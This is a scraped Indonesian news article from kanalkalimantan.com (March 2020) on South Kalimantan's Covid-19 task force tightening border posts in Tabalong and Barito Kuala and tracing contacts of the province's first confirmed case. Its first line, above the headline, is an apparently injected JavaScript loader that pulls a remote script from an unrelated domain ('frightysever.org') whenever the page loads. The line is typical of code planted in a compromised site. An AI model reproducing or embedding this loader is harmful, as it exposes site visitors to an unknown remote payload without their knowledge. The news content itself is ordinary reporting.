(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tim Gugus Tugas Covid-19 Kalsel Perketat Jalur Lintas Masuk di Tabalong dan Batola


KANALKALIMANTAN.COM, BANJARBARU – Setelah kasus pertama corona atau Covid-19 pasien dalam pengawasan (PDP) ditemukan di RSUD Ulin Banjarmasin, Tim Gugus Tugas P3 Covid-19 Kalsel akan memperketat jalur lintas masuk Provinsi Kalsel terutama jalur darat. Hal ini disampaikan oleh Ketua Harian Tim Gugus Tugas P3 Covid-19 Kalsel H Wahyuddin di Setdaprov Kalsel di Banjarbaru, Minggu (22/3/2020) sore.

“Semua jalur masuk lintas provinsi itu berada di beberapa kabupaten. Pertama Kabupaten Tabalong,” kata Kepala Pelaksana BPBD Provinsi Kalsel ini.

Ujud -sapaan akrabnya- menambahkan, di Kabupaten Tabalong ada dua titik utama jalur masuk ke Kalsel. Yaitu dari Provinsi Kaltim di Desa Lano yang akan didirikan posko. Selain itu, jalur lainnya yang berbatasan dengan Kecamatan Kalua yang berbatasan dengan Provinsi Kalteng.

“Posko dilengkapi peralatan cegah tangkal. Unsur-unsur yang melaksanakan tugas itu yaitu dari unsur Dinas Kesehatan, TNI-Polri, Satpol PP dan gugus tugas yang terkait yaitu Gugus Tugas Kabupaten Tabalong yang memiliki konsep itu, dan mereka mulai bekerja Senin (23/3/2020) besok,” jelas Ujud.

Di samping itu, langkah serupa juga diterapkan di jalur lintas provinsi lainnya. Yaitu berada di Kabupaten Barito Kuala, yang berbatasan langsung dengan Provinsi Kalteng.

Ketua Harian Tim Gugus Tugas P3 Covid-19 Kalsel H Wahyuddin. foto: fikri

Baca juga: Menyusul 1 Orang Positif Corona di Banjarmasin, Kontak Jejak Pasien Ulin 01 Ditelusuri

Salah satu upaya lain yang dilakukan Tim Gugus Tugas P3 Covid-19 Kalsel yakni melakukan tracing –penelusuran- kepada pihak siapa saja pasien sempat kontak.

Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalimantan Selatan HM Muslim saat menjelaskan bahwa tracing dilakukan dan masih belum disimpulkan berapa banyaknya.

“Kita sudah melakulan tracing (penelusuran kontak) dan sebagian yang ditracing terhadap pasien Ulin 01 positif  ini, sudah masuk dalam jumlah pasien orang dalam pengawasan,” katanya, saat jumpa pers di kantor Setdaprov Kalsel, Minggu (22/3/2020) siang.

Disinggung soal pasien Ulin 02 hingga Ulin 05, Muslim menjelaskan itu dalam kondisi membaik. Namun tetap pihaknya lakukan isolasi sebagai SOP.

“Kondisi 4 ODP lainnya yang saat ini tengah dirawat di Rumah Sakit Ulin Banjarmasin kian membaik. Keempatnya ODP ini merupakan warga Kabupaten Tanah bumbu,” kata Muslim.

Pasien Positif Covid-19 Warga Banjarmasin, Pernah Perjalanan ke Luar Daerah

Muslim mengatakan, pasien yang dinyatakan positif terinfeksi virus corona tersebut merupakan pasien dengan kode Ulin 01 yang saat ini tengah dirawat di Rumah Sakit Umum Daerah Ulin Banjarmasin.

“Kita sampaikan, pasien Ulin 01 merupakan warga kota Banjarmasin. Pasien berusia 40 tahun,” katanya saat konfrensi pers, Minggu (22/3/2020) siang.

Muslim membeberkan bahwa pasien Ulin 01, memiliki riwayat perjalanan keluar daerah yakni ke pulau Jawa. Daerah yang didatangi pasien tersebut telah dinyatakan terjangkit virus corona.

Diungkapkan Muslim bahwa saat ini kondisi pasien Ulin 01 berangsur-angsur stabil. Namun, pihaknya akan tetap akan melakukan langkah-langkah sesuai SOP yang telah ditetapkan, yakni perawatan dan pengambilan spesimen darah.

“Kita akan melakukan pemeriksaan lebih lanjut. Kalau hasil pemeriksaan nantinya dinyatakan negatif, maka bisa dipulangkan,” lanjut Muslim.

Baca juga: BREAKING NEWS: 1 Orang Positif Covid-19 di Kalsel, Kasus Pertama Ditemukan

Kepastian satu orang positif terpapar virus corona atau Covid-19 di Kalimantan Selatan, sebelumnya disampaikan Gubernur Kalimantan Selatan H Sahbirin Noor, Minggu (22/3/2020) siang. Ini menjadi kasus pertama, Setelah pemerintah provinsi Kalsel menaikkan status tanggap darurat Covid-19 pada Sabtu (21/3/2020).

Hal ini ditegaskan Gubernur Kalsel, usai melakukan teleconference bersama seluruh Bupati dan Wali Kota se Kalsel dalam mengantisipasi wabah Virus Corona ini, Minggu (22/3/2020) siang.

“Dari 5 hasil pemeriksaan, satu positif. Kita perintahkan untuk siaga antisipasi pencegahan Covid-19 dengan status tanggap darurat dengan melakukan hal-hal preventif,” ucap Sahbirin Noor saat ditemui di kantor Setdaprov Kalsel. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

6 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

6 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

7 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

7 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

10 jam ago

This website uses cookies.